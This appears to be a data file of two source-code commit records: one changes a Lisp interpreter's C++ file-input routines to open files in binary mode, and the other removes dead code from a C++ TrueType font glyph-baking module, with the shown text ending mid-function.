{"text":"<commit_before>\n\n#include \"stdfileio.h\"\n\n\/\/ For lack of better place to put it...\nInputStatus::~InputStatus()\n{\n}\n\n\nStdFileInput::StdFileInput(FILE* aFile,InputStatus& aStatus)\n    : LispInput(aStatus)\n{\n    iFile = aFile;\n}\nStdFileInput::StdFileInput(LispLocalFile& aFile,InputStatus& aStatus)\n    : LispInput(aStatus)\n{\n    iFile = aFile.iFile;\n}\n\n\n\nLispChar StdFileInput::Next()\n{\n    LispChar c;\n    c=fgetc(iFile);\n    if (c == '\\n')\n        iStatus.NextLine();\n    return c;\n}\n\nLispChar StdFileInput::Peek() \n{\n    LispChar c = fgetc(iFile);\n    ungetc(c,iFile);\n    return c;\n}\n \nvoid StdFileInput::Rewind()\n{\n    fseek(iFile,0,SEEK_SET);\n}\n\nLispBoolean StdFileInput::EndOfStream() \n{\n    return feof(iFile);\n}\n\nLispCharPtr StdFileInput::StartPtr()\n{\n    LISPASSERT(0);\n    return NULL;\n}\nLispInt StdFileInput::Position()\n{\n    LISPASSERT(0);\n    return 0;\n}\n\n\n\nStdFileOutput::StdFileOutput(FILE* aFile) : iFile(aFile) { }\nStdFileOutput::StdFileOutput(LispLocalFile& aFile) : iFile(aFile.iFile) { }\n\n\nvoid StdFileOutput::PutChar(LispChar aChar)\n{\n    fputc(aChar, iFile);\n}\n\n\n\n\n\n\n\nCachedStdFileInput::~CachedStdFileInput()\n{\n    PlatFree(iBuffer);\n}\n\nCachedStdFileInput::CachedStdFileInput(LispLocalFile& aFile,InputStatus& aStatus) : StdFileInput(aFile,aStatus)\n{\n    \/\/ Get size of file\n    fseek(iFile,0,SEEK_END);\n    iNrBytes = ftell(iFile);\n    fseek(iFile,0,SEEK_SET);\n    \/\/ Read in the full buffer\n    iBuffer = PlatAlloc(iNrBytes+1);\n    Check(iBuffer!=NULL,KLispErrNotEnoughMemory);\n    iCurrentPos = 0;\n    fread(iBuffer,iNrBytes,1,iFile);\n    iBuffer[iNrBytes] = '\\0';\n};\n\nLispChar CachedStdFileInput::Next()\n{\n    LispChar c;\n    LISPASSERT(iCurrentPos < iNrBytes);\n    c = iBuffer[iCurrentPos++];\n\n    if (c == '\\n')\n    {\n        iStatus.NextLine();\n    }\n    return c;\n}\n\nLispChar CachedStdFileInput::Peek()\n{\n    LISPASSERT(iCurrentPos < iNrBytes);\n    return iBuffer[iCurrentPos];\n}\n\n\nvoid CachedStdFileInput::Rewind()\n{\n\tiCurrentPos = 0;\n}\n\nLispBoolean CachedStdFileInput::EndOfStream()\n{\n    return (iCurrentPos >= iNrBytes);\n}\n\nLispCharPtr CachedStdFileInput::StartPtr()\n{\n    return iBuffer;\n}\nLispInt CachedStdFileInput::Position()\n{\n    return iCurrentPos;\n}\n\n\nvoid InternalFindFile(LispCharPtr aFileName, InputDirectories& aInputDirectories,\n                     LispCharPtr aFoundFile)\n{\n    strcpy(aFoundFile,aFileName);\n    FILE* file = fopen(aFileName,\"r\");\n    LispInt i=0;\n    while (file == NULL && i<aInputDirectories.NrItems())\n    {\n        strcpy(aFoundFile,aInputDirectories[i]->String());\n        strcat(aFoundFile,aFileName);\n        file = fopen(aFoundFile,\"r\");\n        i++;\n    }\n    if (file != NULL)\n    {\n        fclose(file);\n    }\n    else\n    {\n        aFoundFile[0] = '\\0';\n    }\n}\n\nLispLocalFile::LispLocalFile(LispEnvironment& aEnvironment,\n                             LispCharPtr aFileName, LispBoolean aRead,\n                             InputDirectories& aInputDirectories)\n: iEnvironment(aEnvironment)\n{\n    if (aRead)\n    {\n        LispChar othername[1024];\/\/TODO\n        strcpy(othername,aFileName);\n        iFile = fopen(aFileName,\"r\");\n        LispInt i=0;\n        while (iFile == NULL && i<aInputDirectories.NrItems())\n        {\n            strcpy(othername,aInputDirectories[i]->String());\n            strcat(othername,aFileName);\n            iFile = fopen(othername,\"r\");\n            i++;\n        }\n    }\n    else\n        iFile = fopen(aFileName,\"w\");\n\n    if (iFile == NULL)\n        iOpened=0;\n    else\n        iOpened=1;\n\n    SAFEPUSH(iEnvironment,*this);\n}\n\n\/\/aRead is for opening in read mode (otherwise opened in write mode)\nLispLocalFile::~LispLocalFile()\n{\n    SAFEPOP(iEnvironment);\n    Delete();\n}\n\nvoid LispLocalFile::Delete()\n{\n    if (iFile)\n        fclose(iFile);\n    iFile = NULL;\n}\n\n\n\n\nCachedStdUserInput::CachedStdUserInput(InputStatus& aStatus) :\nStdUserInput(aStatus)\n{\n\/\/printf(\"CachedStdUserInput:construct\\n\");\n    Rewind();\n};\nLispChar CachedStdUserInput::Next()\n{\n\/\/printf(\"CachedStdUserInput:Next\\n\");\n    LispChar c = Peek();\n    iCurrentPos++;\n    printf(\"%c\",c);\n    return c;\n}\n\nLispChar CachedStdUserInput::Peek()\n{\n    if (iCurrentPos == iBuffer.NrItems())\n    {\n        iBuffer.Append(fgetc(iFile));\n    }\n    return iBuffer[iCurrentPos];\n}\n\nLispBoolean CachedStdUserInput::EndOfStream()\n{\n    return LispFalse;\n}\n\nvoid CachedStdUserInput::Rewind()\n{\n    \/\/ Make sure there is a buffer to point to.\n    iBuffer.GrowTo(10);\n    iBuffer.SetNrItems(0);\n    iCurrentPos=0;\n}\n\nLispCharPtr CachedStdUserInput::StartPtr()\n{\n    if (iBuffer.NrItems() == 0)\n        Peek();\n    return &iBuffer[0];\n}\n\nLispInt CachedStdUserInput::Position()\n{\n    return iCurrentPos;\n}\n\n\n<commit_msg>Fixed Windows file reading bug (I think).<commit_after>\n\n#include \"stdfileio.h\"\n\n\/\/ For lack of better place to put it...\nInputStatus::~InputStatus()\n{\n}\n\n\nStdFileInput::StdFileInput(FILE* aFile,InputStatus& aStatus)\n    : LispInput(aStatus)\n{\n    iFile = aFile;\n}\nStdFileInput::StdFileInput(LispLocalFile& aFile,InputStatus& aStatus)\n    : LispInput(aStatus)\n{\n    iFile = aFile.iFile;\n}\n\n\n\nLispChar StdFileInput::Next()\n{\n    LispChar c;\n    c=fgetc(iFile);\n    if (c == '\\n')\n        iStatus.NextLine();\n    return c;\n}\n\nLispChar StdFileInput::Peek() \n{\n    LispChar c = fgetc(iFile);\n    ungetc(c,iFile);\n    return c;\n}\n \nvoid StdFileInput::Rewind()\n{\n    fseek(iFile,0,SEEK_SET);\n}\n\nLispBoolean StdFileInput::EndOfStream() \n{\n    return feof(iFile);\n}\n\nLispCharPtr StdFileInput::StartPtr()\n{\n    LISPASSERT(0);\n    return NULL;\n}\nLispInt StdFileInput::Position()\n{\n    LISPASSERT(0);\n    return 0;\n}\n\n\n\nStdFileOutput::StdFileOutput(FILE* aFile) : iFile(aFile) { }\nStdFileOutput::StdFileOutput(LispLocalFile& aFile) : iFile(aFile.iFile) { }\n\n\nvoid StdFileOutput::PutChar(LispChar aChar)\n{\n    fputc(aChar, iFile);\n}\n\n\n\n\n\n\n\nCachedStdFileInput::~CachedStdFileInput()\n{\n    PlatFree(iBuffer);\n}\n\nCachedStdFileInput::CachedStdFileInput(LispLocalFile& aFile,InputStatus& aStatus) : StdFileInput(aFile,aStatus)\n{\n    \/\/ Get size of file\n    fseek(iFile,0,SEEK_END);\n    iNrBytes = ftell(iFile);\n    fseek(iFile,0,SEEK_SET);\n    \/\/ Read in the full buffer\n    iBuffer = PlatAlloc(iNrBytes+1);\n    Check(iBuffer!=NULL,KLispErrNotEnoughMemory);\n    iCurrentPos = 0;\n    fread(iBuffer,iNrBytes,1,iFile);\n    iBuffer[iNrBytes] = '\\0';\n};\n\nLispChar CachedStdFileInput::Next()\n{\n    LispChar c;\n    LISPASSERT(iCurrentPos < iNrBytes);\n    c = iBuffer[iCurrentPos++];\n\n    if (c == '\\n')\n    {\n        iStatus.NextLine();\n    }\n    return c;\n}\n\nLispChar CachedStdFileInput::Peek()\n{\n    LISPASSERT(iCurrentPos < iNrBytes);\n    return iBuffer[iCurrentPos];\n}\n\n\nvoid CachedStdFileInput::Rewind()\n{\n\tiCurrentPos = 0;\n}\n\nLispBoolean CachedStdFileInput::EndOfStream()\n{\n    return (iCurrentPos >= iNrBytes);\n}\n\nLispCharPtr CachedStdFileInput::StartPtr()\n{\n    return iBuffer;\n}\nLispInt CachedStdFileInput::Position()\n{\n    return iCurrentPos;\n}\n\n\nvoid InternalFindFile(LispCharPtr aFileName, InputDirectories& aInputDirectories,\n                     LispCharPtr aFoundFile)\n{\n    strcpy(aFoundFile,aFileName);\n    FILE* file = fopen(aFileName,\"rb\");\n    LispInt i=0;\n    while (file == NULL && i<aInputDirectories.NrItems())\n    {\n        strcpy(aFoundFile,aInputDirectories[i]->String());\n        strcat(aFoundFile,aFileName);\n        file = fopen(aFoundFile,\"rb\");\n        i++;\n    }\n    if (file != NULL)\n    {\n        fclose(file);\n    }\n    else\n    {\n        aFoundFile[0] = '\\0';\n    }\n}\n\nLispLocalFile::LispLocalFile(LispEnvironment& aEnvironment,\n                             LispCharPtr aFileName, LispBoolean aRead,\n                             InputDirectories& aInputDirectories)\n: iEnvironment(aEnvironment)\n{\n    if (aRead)\n    {\n        LispChar othername[1024];\/\/TODO\n        strcpy(othername,aFileName);\n        iFile = fopen(aFileName,\"rb\");\n        LispInt i=0;\n        while (iFile == NULL && i<aInputDirectories.NrItems())\n        {\n            strcpy(othername,aInputDirectories[i]->String());\n            strcat(othername,aFileName);\n            iFile = fopen(othername,\"rb\");\n            i++;\n        }\n    }\n    else\n        iFile = fopen(aFileName,\"w\");\n\n    if (iFile == NULL)\n        iOpened=0;\n    else\n        iOpened=1;\n\n    SAFEPUSH(iEnvironment,*this);\n}\n\n\/\/aRead is for opening in read mode (otherwise opened in write mode)\nLispLocalFile::~LispLocalFile()\n{\n    SAFEPOP(iEnvironment);\n    Delete();\n}\n\nvoid LispLocalFile::Delete()\n{\n    if (iFile)\n        fclose(iFile);\n    iFile = NULL;\n}\n\n\n\n\nCachedStdUserInput::CachedStdUserInput(InputStatus& aStatus) :\nStdUserInput(aStatus)\n{\n\/\/printf(\"CachedStdUserInput:construct\\n\");\n    Rewind();\n};\nLispChar CachedStdUserInput::Next()\n{\n\/\/printf(\"CachedStdUserInput:Next\\n\");\n    LispChar c = Peek();\n    iCurrentPos++;\n    printf(\"%c\",c);\n    return c;\n}\n\nLispChar CachedStdUserInput::Peek()\n{\n    if (iCurrentPos == iBuffer.NrItems())\n    {\n        iBuffer.Append(fgetc(iFile));\n    }\n    return iBuffer[iCurrentPos];\n}\n\nLispBoolean CachedStdUserInput::EndOfStream()\n{\n    return LispFalse;\n}\n\nvoid CachedStdUserInput::Rewind()\n{\n    \/\/ Make sure there is a buffer to point to.\n    iBuffer.GrowTo(10);\n    iBuffer.SetNrItems(0);\n    iCurrentPos=0;\n}\n\nLispCharPtr CachedStdUserInput::StartPtr()\n{\n    if (iBuffer.NrItems() == 0)\n        Peek();\n    return &iBuffer[0];\n}\n\nLispInt CachedStdUserInput::Position()\n{\n    return iCurrentPos;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2013 Jeremie Roy. All rights reserved.\n * License: http:\/\/www.opensource.org\/licenses\/BSD-2-Clause\n*\/\n#include \"TrueTypeFont.h\"\n\/*\n#undef __FTERRORS_H__\n#define FT_ERRORDEF( e, v, s )  { e, s },\n#define FT_ERROR_START_LIST     {\n#define FT_ERROR_END_LIST       { 0, 0 } };\nconst struct {\n    int          code;\n    const char*  message;\n} FT_Errors[] =\n*\/\n#include \"FreeType.h\"\n#include \"edtaa3func.h\"\n\/\/#include \"SEDT.h\"\n#include <assert.h>\n#include <math.h>\n\n\nstruct FTHolder\n{\n\tFT_Library library;\n\tFT_Face face;\n};\n\nnamespace bgfx_font\n{\n\nTrueTypeFont::TrueTypeFont(): m_font(NULL)\n{\t\n}\n\nTrueTypeFont::~TrueTypeFont()\n{\n\tif(m_font!=NULL)\n\t{\n\t\tFTHolder* holder = (FTHolder*) m_font;\n\t\tFT_Done_Face( holder->face );\n        FT_Done_FreeType( holder->library );\n\t\tdelete m_font;\n\t\tm_font = NULL;\n\t}\n}\n\nbool TrueTypeFont::init(const uint8_t* buffer, uint32_t bufferSize, int32_t fontIndex, uint32_t pixelHeight)\n{\n\tassert((bufferSize > 256 && bufferSize < 100000000) && \"TrueType buffer size is suspicious\");\n\tassert((pixelHeight > 4 && pixelHeight < 128) && \"TrueType buffer size is suspicious\");\n\t\n\tassert(m_font == NULL && \"TrueTypeFont already initialized\" );\n\t\n\tFTHolder* holder = new FTHolder();\t\n\n\t\/\/ Initialize Freetype library\n\tFT_Error error = FT_Init_FreeType( &holder->library );\n\tif( error)\n\t{\n\t\tdelete holder;\n\t\treturn false;\n\t}\n\n\terror = FT_New_Memory_Face( holder->library, buffer, bufferSize, fontIndex, &holder->face );\n\tif ( error == FT_Err_Unknown_File_Format )\n\t{\t\t\n\t\t\/\/ the font file could be opened and read, but it appears\n\t\t\/\/that its font format is unsupported\n\t\tFT_Done_FreeType( holder->library );\n\t\tdelete holder;\n\t\treturn false;\n\t}\n\telse if ( error )\n\t{\n\t\t\/\/ another error code means that the font file could not\n\t\t\/\/ be opened or read, or simply that it is broken...\n\t\tFT_Done_FreeType( holder->library );\n\t\tdelete holder;\n\t\treturn false;\n\t}\n\n    \/\/ Select unicode charmap \n    error = FT_Select_Charmap( holder->face, FT_ENCODING_UNICODE );\n    if( error )\n    {\n\t\tFT_Done_Face( holder->face );\n\t\tFT_Done_FreeType( holder->library );\n        return false;\n    }\n\t\/\/set size in pixels\n\terror = FT_Set_Pixel_Sizes( holder->face, 0, pixelHeight );  \n\tif( error )\n    {\n\t\tFT_Done_Face( holder->face );\n\t\tFT_Done_FreeType( holder->library );\n        return false;\n    }\n\n\tm_font = holder;\n\treturn true;\n}\n\nFontInfo TrueTypeFont::getFontInfo()\n{\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tassert(FT_IS_SCALABLE (holder->face));\n\n\tFT_Size_Metrics metrics = holder->face->size->metrics;\n\n\t\/\/todo manage unscalable font\n\tFontInfo outFontInfo;\n\toutFontInfo.scale = 1.0f;\n\toutFontInfo.ascender = metrics.ascender \/64.0f;\n\toutFontInfo.descender = metrics.descender \/64.0f;\n\toutFontInfo.lineGap = (metrics.height - metrics.ascender + metrics.descender) \/64.0f;\n\t\n\toutFontInfo.underline_position = FT_MulFix(holder->face->underline_position, metrics.y_scale) \/64.0f;\n\toutFontInfo.underline_thickness= FT_MulFix(holder->face->underline_thickness,metrics.y_scale) \/64.0f;\n\treturn outFontInfo;\n}\n\nbool TrueTypeFont::bakeGlyphAlpha(const FontInfo& fontInfo,CodePoint_t codePoint, GlyphInfo& glyphInfo, uint8_t* outBuffer)\n{\t\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tglyphInfo.glyphIndex = FT_Get_Char_Index( holder->face, codePoint );\n\t\n\tFT_GlyphSlot slot = holder->face->glyph;\n\tFT_Error error = FT_Load_Glyph(  holder->face, glyphInfo.glyphIndex, FT_LOAD_DEFAULT );\n\tif(error) { return false; }\n\t\n\tFT_Glyph glyph;\n\terror = FT_Get_Glyph( slot, &glyph );\n\tif ( error ) { return false; }\n\t\t\n\terror = FT_Glyph_To_Bitmap( &glyph, FT_RENDER_MODE_NORMAL, 0, 1 );\n\tif(error){ return false; }\n\t\n\tFT_BitmapGlyph bitmap = (FT_BitmapGlyph)glyph;\n\t\t\n\tint x = bitmap->left;\n\tint y = -bitmap->top;\n\tint w = bitmap->bitmap.width;\n\tint h = bitmap->bitmap.rows;\n\n\tglyphInfo.offset_x = (float) x;\n\tglyphInfo.offset_y = (float) y;\t\n\tglyphInfo.width = (float) w;\t\n\tglyphInfo.height = (float) h;\t\n\tglyphInfo.advance_x = (float)slot->advance.x \/64.0f;\n\tglyphInfo.advance_y = (float)slot->advance.y \/64.0f;\n\n\tint charsize = 1;\n\tint depth=1;\n\tint stride = bitmap->bitmap.pitch;\n\tfor( int i=0; i<h; ++i )\n    {\n        memcpy(outBuffer+(i*w) * charsize * depth, \n\t\t\tbitmap->bitmap.buffer + (i*stride) * charsize, w * charsize * depth  );\n    }\n\tFT_Done_Glyph(glyph);\n\treturn true;\n}\n\nbool TrueTypeFont::bakeGlyphSubpixel(const FontInfo& fontInfo,CodePoint_t codePoint, GlyphInfo& glyphInfo, uint8_t* outBuffer)\n{\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tglyphInfo.glyphIndex = FT_Get_Char_Index( holder->face, codePoint );\n\t\n\tFT_GlyphSlot slot = holder->face->glyph;\n\tFT_Error error = FT_Load_Glyph(  holder->face, glyphInfo.glyphIndex, FT_LOAD_DEFAULT );\n\tif(error) { return false; }\n\t\n\tFT_Glyph glyph;\n\terror = FT_Get_Glyph( slot, &glyph );\n\tif ( error ) { return false; }\n\t\t\n\terror = FT_Glyph_To_Bitmap( &glyph, FT_RENDER_MODE_LCD, 0, 1 );\n\tif(error){ return false; }\n\t\n\tFT_BitmapGlyph bitmap = (FT_BitmapGlyph)glyph;\n\tint x = bitmap->left;\n\tint y = -bitmap->top;\n\tint w = bitmap->bitmap.width;\n\tint h = bitmap->bitmap.rows;\n\n\tglyphInfo.offset_x = (float) x;\n\tglyphInfo.offset_y = (float) y;\t\n\tglyphInfo.width = (float) w;\t\n\tglyphInfo.height = (float) h;\t\n\tglyphInfo.advance_x = (float)slot->advance.x \/64.0f;\n\tglyphInfo.advance_y = (float)slot->advance.y \/64.0f;\n\tint charsize = 1;\n\tint depth=3;\n\tint stride = bitmap->bitmap.pitch;\n\tfor( int i=0; i<h; ++i )\n    {\n        memcpy(outBuffer+(i*w) * charsize * depth, \n\t\t\tbitmap->bitmap.buffer + (i*stride) * charsize, w * charsize * depth  );\n    }\n\tFT_Done_Glyph(glyph);\n\treturn true;\n}\n\nvoid make_distance_map( unsigned char *img, unsigned char *outImg, unsigned int width, unsigned int height )\n{\n    short * xdist = (short *)  malloc( width * height * sizeof(short) );\n    short * ydist = (short *)  malloc( width * height * sizeof(short) );\n    double * gx   = (double *) calloc( width * height, sizeof(double) );\n    double * gy      = (double *) calloc( width * height, sizeof(double) );\n    double * data    = (double *) calloc( width * height, sizeof(double) );\n    double * outside = (double *) calloc( width * height, sizeof(double) );\n    double * inside  = (double *) calloc( width * height, sizeof(double) );\n    uint32_t i;\n\n    \/\/ Convert img into double (data)\n    double img_min = 255, img_max = -255;\n    for( i=0; i<width*height; ++i)\n    {\n        double v = img[i];\n        data[i] = v;\n        if (v > img_max) img_max = v;\n        if (v < img_min) img_min = v;\n    }\n    \/\/ Rescale image levels between 0 and 1\n    for( i=0; i<width*height; ++i)\n    {\n        data[i] = (img[i]-img_min)\/(img_max-img_min);\n    }\n\n    \/\/ Compute outside = edtaa3(bitmap); % Transform background (0's)\n    computegradient( data, width, height, gx, gy);\n    edtaa3(data, gx, gy, width, height, xdist, ydist, outside);\n    for( i=0; i<width*height; ++i)\n        if( outside[i] < 0 )\n            outside[i] = 0.0;\n\n    \/\/ Compute inside = edtaa3(1-bitmap); % Transform foreground (1's)\n    memset(gx, 0, sizeof(double)*width*height );\n    memset(gy, 0, sizeof(double)*width*height );\n    for( i=0; i<width*height; ++i)\n        data[i] = 1.0 - data[i];\n    computegradient( data, width, height, gx, gy);\n    edtaa3(data, gx, gy, width, height, xdist, ydist, inside);\n    for( i=0; i<width*height; ++i)\n        if( inside[i] < 0 )\n            inside[i] = 0.0;\n\n    \/\/ distmap = outside - inside; % Bipolar distance field\n    unsigned char *out = outImg;\/\/(unsigned char *) malloc( width * height * sizeof(unsigned char) );\n    for( i=0; i<width*height; ++i)\n    {\n\t\t\/\/out[i] = 127 - outside[i]*8;\n\t\t\/\/if(out[i]<0) out[i] = 0;\n\t\t\/\/out[i] += inside[i]*16;\n\t\t\/\/if(out[i]>255) out[i] = 255;\n\n\t\toutside[i] -= inside[i];\n        outside[i] = 128 + outside[i]*16;\n\n\t\t\/\/if(outside[i] > 8) outside[i] = 8;\n\t\t\/\/if(inside[i] > 8) outside[i] = 8;\n\n\t\t\/\/outside[i] = 128 - inside[i]*8 + outside[i]*8;\n\t\t\n        if( outside[i] < 0 ) outside[i] = 0;\n        if( outside[i] > 255 ) outside[i] = 255;\n        out[i] = 255 - (unsigned char) outside[i];\n        \/\/out[i] = (unsigned char) outside[i];\n    }\n\n    free( xdist );\n    free( ydist );\n    free( gx );\n    free( gy );\n    free( data );\n    free( outside );\n    free( inside );\n}\n\n\nbool TrueTypeFont::bakeGlyphDistance(const FontInfo& fontInfo, CodePoint_t codePoint, GlyphInfo& glyphInfo, uint8_t* outBuffer)\n{\t\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tglyphInfo.glyphIndex = FT_Get_Char_Index( holder->face, codePoint );\n\t\n\tFT_Int32 loadMode = FT_LOAD_DEFAULT|FT_LOAD_NO_HINTING; \/\/FT_LOAD_TARGET_MONO;\n\tFT_Render_Mode renderMode = FT_RENDER_MODE_NORMAL;\/\/FT_RENDER_MODE_MONO\n\n\tFT_GlyphSlot slot = holder->face->glyph;\n\tFT_Error error = FT_Load_Glyph(  holder->face, glyphInfo.glyphIndex, loadMode );\n\tif(error) { return false; }\n\t\n\tFT_Glyph glyph;\n\terror = FT_Get_Glyph( slot, &glyph );\n\tif ( error ) { return false; }\n\t\n\terror = FT_Glyph_To_Bitmap( &glyph, renderMode, 0, 1 );\n\tif(error){ return false; }\n\t\n\tFT_BitmapGlyph bitmap = (FT_BitmapGlyph)glyph;\n\t\n\tint x = bitmap->left;\n\tint y = -bitmap->top;\n\tint w = bitmap->bitmap.width;\n\tint h = bitmap->bitmap.rows;\n\n\tglyphInfo.offset_x = (float) x;\n\tglyphInfo.offset_y = (float) y;\t\n\tglyphInfo.width = (float) w;\t\n\tglyphInfo.height = (float) h;\t\n\tglyphInfo.advance_x = (float)slot->advance.x \/64.0f;\n\tglyphInfo.advance_y = (float)slot->advance.y \/64.0f;\n\t \n\tint charsize = 1;\n\tint depth=1;\n\tint stride = bitmap->bitmap.pitch;\n\t\n\t\/*\n\tconst uint8_t* src = bitmap->bitmap.buffer;\n\tfor( int y=0; y<h; ++y )\n\t{\t\t\n\t\tfor( int x=0; x<w; ++x )\n\t\t{\n\t\t\tuint32_t idx = y*w+x;\n\t\t\toutBuffer[idx] = ((src[x \/ 8]) & (1 << (7 - (x % 8)))) ? 255 : 0;\n\t\t}\n\t\tsrc+=stride;\n\t}*\/\t\n\t\n\tfor( int i=0; i<h; ++i )\n    {\t\n\n        memcpy(outBuffer+(i*w) * charsize * depth, \n\t\t\tbitmap->bitmap.buffer + (i*stride) * charsize, w * charsize * depth  );\n    }\n\tFT_Done_Glyph(glyph);\n\t\t\n\tif(w*h >0)\n\t{\n\t\tuint32_t dw = 6;\n\t\tuint32_t dh = 6;\t\n\t\tif(dw<2) dw = 2;\n\t\tif(dh<2) dh = 2;\n\t\n\t\tuint32_t nw = w + dw*2;\n\t\tuint32_t nh = h + dh*2;\n\t\tassert(nw*nh < 128*128);\n\t\tuint32_t buffSize = nw*nh*sizeof(uint8_t);\n\t\n\t\tuint8_t * alphaImg = (uint8_t *)  malloc( buffSize );\n\t\tmemset(alphaImg, 0, nw*nh*sizeof(uint8_t));\n\n\t\t\/\/copy the original buffer to the temp one\n\t\tfor(uint32_t  i= dh; i< nh-dh; ++i)\n\t\t{\n\t\t\tmemcpy(alphaImg+i*nw+dw, outBuffer+(i-dh)*w, w);\n\t\t}\n\t\n\t\tmake_distance_map(alphaImg, outBuffer, nw, nh);\n\t\tfree(alphaImg);\t\n\t\t\n\t\tglyphInfo.offset_x -= (float) dw;\n\t\tglyphInfo.offset_y -= (float) dh;\n\t\tglyphInfo.width = (float) nw ;\n\t\tglyphInfo.height = (float) nh;\n\t}\n\t\n\treturn true;\t\n}\n\n}\n<commit_msg>cleaning dead code<commit_after>\/* Copyright 2013 Jeremie Roy. All rights reserved.\n * License: http:\/\/www.opensource.org\/licenses\/BSD-2-Clause\n*\/\n#include \"TrueTypeFont.h\"\n\/*\n#undef __FTERRORS_H__\n#define FT_ERRORDEF( e, v, s )  { e, s },\n#define FT_ERROR_START_LIST     {\n#define FT_ERROR_END_LIST       { 0, 0 } };\nconst struct {\n    int          code;\n    const char*  message;\n} FT_Errors[] =\n*\/\n#include \"FreeType.h\"\n#include \"edtaa3func.h\"\n\/\/#include \"SEDT.h\"\n#include <assert.h>\n#include <math.h>\n\n\nstruct FTHolder\n{\n\tFT_Library library;\n\tFT_Face face;\n};\n\nnamespace bgfx_font\n{\n\nTrueTypeFont::TrueTypeFont(): m_font(NULL)\n{\t\n}\n\nTrueTypeFont::~TrueTypeFont()\n{\n\tif(m_font!=NULL)\n\t{\n\t\tFTHolder* holder = (FTHolder*) m_font;\n\t\tFT_Done_Face( holder->face );\n        FT_Done_FreeType( holder->library );\n\t\tdelete m_font;\n\t\tm_font = NULL;\n\t}\n}\n\nbool TrueTypeFont::init(const uint8_t* buffer, uint32_t bufferSize, int32_t fontIndex, uint32_t pixelHeight)\n{\n\tassert((bufferSize > 256 && bufferSize < 100000000) && \"TrueType buffer size is suspicious\");\n\tassert((pixelHeight > 4 && pixelHeight < 128) && \"TrueType buffer size is suspicious\");\n\t\n\tassert(m_font == NULL && \"TrueTypeFont already initialized\" );\n\t\n\tFTHolder* holder = new FTHolder();\t\n\n\t\/\/ Initialize Freetype library\n\tFT_Error error = FT_Init_FreeType( &holder->library );\n\tif( error)\n\t{\n\t\tdelete holder;\n\t\treturn false;\n\t}\n\n\terror = FT_New_Memory_Face( holder->library, buffer, bufferSize, fontIndex, &holder->face );\n\tif ( error == FT_Err_Unknown_File_Format )\n\t{\t\t\n\t\t\/\/ the font file could be opened and read, but it appears\n\t\t\/\/that its font format is unsupported\n\t\tFT_Done_FreeType( holder->library );\n\t\tdelete holder;\n\t\treturn false;\n\t}\n\telse if ( error )\n\t{\n\t\t\/\/ another error code means that the font file could not\n\t\t\/\/ be opened or read, or simply that it is broken...\n\t\tFT_Done_FreeType( holder->library );\n\t\tdelete holder;\n\t\treturn false;\n\t}\n\n    \/\/ Select unicode charmap \n    error = FT_Select_Charmap( holder->face, FT_ENCODING_UNICODE );\n    if( error )\n    {\n\t\tFT_Done_Face( holder->face );\n\t\tFT_Done_FreeType( holder->library );\n        return false;\n    }\n\t\/\/set size in pixels\n\terror = FT_Set_Pixel_Sizes( holder->face, 0, pixelHeight );  \n\tif( error )\n    {\n\t\tFT_Done_Face( holder->face );\n\t\tFT_Done_FreeType( holder->library );\n        return false;\n    }\n\n\tm_font = holder;\n\treturn true;\n}\n\nFontInfo TrueTypeFont::getFontInfo()\n{\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tassert(FT_IS_SCALABLE (holder->face));\n\n\tFT_Size_Metrics metrics = holder->face->size->metrics;\n\n\t\/\/todo manage unscalable font\n\tFontInfo outFontInfo;\n\toutFontInfo.scale = 1.0f;\n\toutFontInfo.ascender = metrics.ascender \/64.0f;\n\toutFontInfo.descender = metrics.descender \/64.0f;\n\toutFontInfo.lineGap = (metrics.height - metrics.ascender + metrics.descender) \/64.0f;\n\t\n\toutFontInfo.underline_position = FT_MulFix(holder->face->underline_position, metrics.y_scale) \/64.0f;\n\toutFontInfo.underline_thickness= FT_MulFix(holder->face->underline_thickness,metrics.y_scale) \/64.0f;\n\treturn outFontInfo;\n}\n\nbool TrueTypeFont::bakeGlyphAlpha(const FontInfo& fontInfo,CodePoint_t codePoint, GlyphInfo& glyphInfo, uint8_t* outBuffer)\n{\t\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tglyphInfo.glyphIndex = FT_Get_Char_Index( holder->face, codePoint );\n\t\n\tFT_GlyphSlot slot = holder->face->glyph;\n\tFT_Error error = FT_Load_Glyph(  holder->face, glyphInfo.glyphIndex, FT_LOAD_DEFAULT );\n\tif(error) { return false; }\n\t\n\tFT_Glyph glyph;\n\terror = FT_Get_Glyph( slot, &glyph );\n\tif ( error ) { return false; }\n\t\t\n\terror = FT_Glyph_To_Bitmap( &glyph, FT_RENDER_MODE_NORMAL, 0, 1 );\n\tif(error){ return false; }\n\t\n\tFT_BitmapGlyph bitmap = (FT_BitmapGlyph)glyph;\n\t\t\n\tint x = bitmap->left;\n\tint y = -bitmap->top;\n\tint w = bitmap->bitmap.width;\n\tint h = bitmap->bitmap.rows;\n\n\tglyphInfo.offset_x = (float) x;\n\tglyphInfo.offset_y = (float) y;\t\n\tglyphInfo.width = (float) w;\t\n\tglyphInfo.height = (float) h;\t\n\tglyphInfo.advance_x = (float)slot->advance.x \/64.0f;\n\tglyphInfo.advance_y = (float)slot->advance.y \/64.0f;\n\n\tint charsize = 1;\n\tint depth=1;\n\tint stride = bitmap->bitmap.pitch;\n\tfor( int i=0; i<h; ++i )\n    {\n        memcpy(outBuffer+(i*w) * charsize * depth, \n\t\t\tbitmap->bitmap.buffer + (i*stride) * charsize, w * charsize * depth  );\n    }\n\tFT_Done_Glyph(glyph);\n\treturn true;\n}\n\nbool TrueTypeFont::bakeGlyphSubpixel(const FontInfo& fontInfo,CodePoint_t codePoint, GlyphInfo& glyphInfo, uint8_t* outBuffer)\n{\n\tassert(m_font != NULL && \"TrueTypeFont not initialized\" );\n\tFTHolder* holder = (FTHolder*) m_font;\n\t\n\tglyphInfo.glyphIndex = FT_Get_Char_Index( holder->face, codePoint );\n\t\n\tFT_GlyphSlot slot = holder->face->glyph;\n\tFT_Error error = 